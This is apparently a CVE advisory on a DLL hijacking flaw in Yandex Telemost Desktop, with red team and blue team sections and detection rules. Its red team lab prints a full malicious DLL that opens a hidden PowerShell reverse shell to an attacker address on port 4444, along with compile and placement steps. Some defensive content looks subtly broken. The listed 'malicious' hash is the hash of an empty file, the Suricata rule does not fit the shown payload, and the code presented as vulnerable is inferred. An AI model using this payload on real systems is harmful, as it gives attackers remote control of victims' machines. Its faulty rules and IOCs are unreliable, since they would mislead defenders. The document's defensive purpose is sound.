CVE-2024-12168

Executive Summary

CVE-2024-12168 identifies a DLL Hijacking vulnerability in Yandex Telemost for Desktop prior to version 2.7.0. The vulnerability arises from the application using an untrusted search path when loading dynamic-link libraries (DLLs). An attacker with local access can place a malicious DLL in a directory that is searched before the legitimate system or application directory, causing the application to load and execute the attacker's code. This can lead to privilege escalation, persistence, or arbitrary code execution in the context of the user running the application. The CVSS score is currently 0.0, indicating incomplete scoring data, but the technical impact is significant for local exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – Standard DLL hijacking techniques are well-documented.
• Privileges Required (PR): Low (L) – Attacker needs user-level access to write to a directory in the search path.
• User Interaction (UI): Required (R) – The user must launch the vulnerable application.
• Scope (S): Unchanged (U) – The vulnerability affects the application's security context.
• Confidentiality (C): High (H) – Arbitrary code execution can lead to data theft.
• Integrity (I): High (H) – Attacker can modify application behavior or system files.
• Availability (A): High (H) – Code execution can disrupt services.

Threat Level: High (Local). While remote exploitation is not possible, local privilege escalation and persistence are serious threats in multi-user environments or after initial compromise.

Deep Dive & Mechanics

The vulnerability is a classic DLL Hijacking (CWE-427). Yandex Telemost for Desktop uses an insecure method to locate and load DLLs. Instead of using a safe search order (e.g., SetDllDirectory or fully qualified paths), the application relies on the system's default DLL search order, which includes the current working directory, the application directory, and system paths.

An attacker can exploit this by:

1. Identifying a DLL that the application attempts to load (e.g., via Process Monitor).
2. Placing a malicious DLL with the same name in a directory that appears earlier in the search path (e.g., the user's Downloads folder or a network share).
3. When the user launches Yandex Telemost, the application loads the attacker's DLL instead of the legitimate one, executing arbitrary code.

The vulnerability is present in all versions before 2.7.0. The patch likely involves using a secure DLL loading mechanism, such as specifying full paths or using LoadLibraryEx with LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR or LOAD_LIBRARY_SEARCH_SYSTEM32.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.7.0):

// Insecure: Uses default search order
HMODULE hModule = LoadLibrary(L"vulkan-1.dll");
if (hModule) {
    // Use the DLL
}

Patched Code (2.7.0+):

// Secure: Uses a safe search path
SetDllDirectory(L"C:\\Program Files\\Yandex\\Telemost\\");
HMODULE hModule = LoadLibraryEx(L"vulkan-1.dll", NULL, LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR | LOAD_LIBRARY_SEARCH_SYSTEM32);
if (hModule) {
    // Use the DLL
}

The patched version restricts DLL loading to the application's directory and system directories, preventing hijacking from user-writable paths.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Windows 10/11 VM with Yandex Telemost Desktop < 2.7.0 installed.
• Attacker machine with Metasploit or custom DLL payload.

Steps:

1. Identify a vulnerable DLL using Process Monitor (Procmon). Filter for Process Name = Telemost.exe and Result = NAME NOT FOUND.
2. Create a malicious DLL (e.g., evil.dll) that spawns a reverse shell:

   // evil.dll
   #include <windows.h>
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           WinExec("powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$c=New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()\"", 0);
       }
       return TRUE;
   }
   

3. Compile the DLL: x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c
4. Place evil.dll in a directory that is searched before the legitimate path (e.g., C:\Users\victim\Downloads\).
5. Rename evil.dll to match the missing DLL (e.g., vulkan-1.dll).
6. Launch Yandex Telemost. The malicious DLL loads, and a reverse shell connects to the attacker.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual DLL load events using Sysmon Event ID 7 (Image loaded).
2. Look for DLLs loaded from user-writable paths (e.g., C:\Users\*\AppData\Local\Temp\, C:\Users\*\Downloads\).
3. Use Process Monitor to baseline normal DLL loads for Telemost.exe.
4. Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted DLL loads.

Response:

• Isolate the affected system.
• Check for persistence mechanisms (e.g., scheduled tasks, registry run keys).
• Review Sysmon logs for the malicious DLL path.
• Reimage the system if compromise is confirmed.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if available)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious DLL)
• Process Names: Telemost.exe
• DLL Paths: C:\Users\*\Downloads\vulkan-1.dll, C:\Users\*\AppData\Local\Temp\*.dll
• Network Connections: Outbound connections to attacker IP (e.g., 192.168.1.100:4444)
• Registry Keys: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\* (if persistence added)

Detection Engineering

YARA Rule

rule CVE_2024_12168_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Yandex Telemost DLL hijacking"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12168"
    strings:
        $s1 = "vulkan-1.dll" nocase
        $s2 = "Telemost.exe" nocase
        $s3 = "LoadLibrary" nocase
    condition:
        (uint16(0) == 0x5A4D) and // MZ header
        (1 of ($s1, $s2)) and
        $s3
}

Sigma Rule

title: CVE-2024-12168 DLL Hijacking via Yandex Telemost
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects DLL load events from suspicious paths for Telemost.exe
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12168
logsource:
    product: windows
    service: sysmon
    definition: 'Sysmon Event ID 7 (Image loaded) must be enabled'
detection:
    selection:
        Image|endswith: '\Telemost.exe'
        ImageLoaded|contains:
            - '\Downloads\'
            - '\AppData\Local\Temp\'
            - '\Desktop\'
    condition: selection
falsepositives:
    - Legitimate DLLs placed in user directories by developers
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2024-12168 - Yandex Telemost DLL Hijack Reverse Shell"; flow:to_server,established; content:"|4d 5a|"; offset:0; depth:2; content:"|e8|"; distance:0; within:4; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Yandex Telemost for Desktop to version 2.7.0 or later.
2. If upgrade is not possible, restrict user write permissions to directories in the DLL search path.
3. Use Application Control (e.g., AppLocker) to allow only signed DLLs.

Long-Term Fixes:

• Developers should use SetDllDirectory or LoadLibraryEx with safe search flags.
• Implement code signing for all application DLLs.
• Conduct regular security audits of third-party dependencies.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable Sysmon and Windows Event Logging for DLL loads.

Valters IT